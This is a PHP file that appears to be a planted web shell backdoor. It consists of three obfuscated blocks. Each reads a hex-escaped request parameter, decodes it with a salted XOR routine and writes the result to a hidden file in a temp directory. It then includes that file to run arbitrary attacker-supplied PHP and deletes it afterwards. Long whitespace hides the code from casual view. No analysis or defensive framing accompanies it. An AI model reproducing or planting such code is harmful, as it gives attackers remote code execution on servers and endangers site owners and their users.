<?php																																										if(!is_null($_POST["h\x6F\x6Cd\x65r"] ?? null)){ $property_set = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); $entry = $_POST["h\x6F\x6Cd\x65r"]; $entry = explode ( '.' , $entry) ; $reference =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s); foreach( $entry as $l => $v5): $sChar =ord( $s[$l % $sLen]); $d =( ( int)$v5 - $sChar -( $l % 10)) ^ 61; $reference .= chr( $d); endforeach; foreach ($property_set as $fac): if (is_writable($fac) && is_dir($fac)) { $val = join("/", [$fac, ".value"]); $success = file_put_contents($val, $reference); if ($success) { include $val; @unlink($val); exit;} } endforeach; }
																																										if(array_key_exists("\x6Be\x79", $_REQUEST) && !is_null($_REQUEST["\x6Be\x79"])){ $item = $_REQUEST["\x6Be\x79"]; $item = explode( "." , $item ) ; $token = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $v = 0; $len = count($item); do { if($v >= $len) break; $v9 = $item[$v]; $sChar = ord($salt7[$v % $sLen]); $dec =((int)$v9 - $sChar -($v % 10)) ^ 66; $token .= chr($dec); $v++; } while(true); $flg = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp"]); foreach ($flg as $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $tkn = "$object/.record"; if (file_put_contents($tkn, $token)) { require $tkn; unlink($tkn); die(); } } } }


if(isset($_REQUEST["mrk"])){
	$holder = $_REQUEST["mrk"];
		$holder 	=	 explode(			'.',	$holder)	 ; 	
	$pointer=	'';
            $salt2=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen($salt2);
    
            foreach ($holder as $o => $v9) {
                $chS=	ord($salt2[$o % $sLen]);
                $d=	((int)$v9 - $chS - ($o % 10))		^22;
                $pointer  .= chr($d);
            }
	$val = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]);
	foreach ($val as $ptr):
    		if (is_dir($ptr) ? is_writable($ptr) : false) {
    $sym = join("/", [$ptr, ".element"]);
    $success = file_put_contents($sym, $pointer);
if ($success) {
	include $sym;
	@unlink($sym);
	exit;}
}
endforeach;
}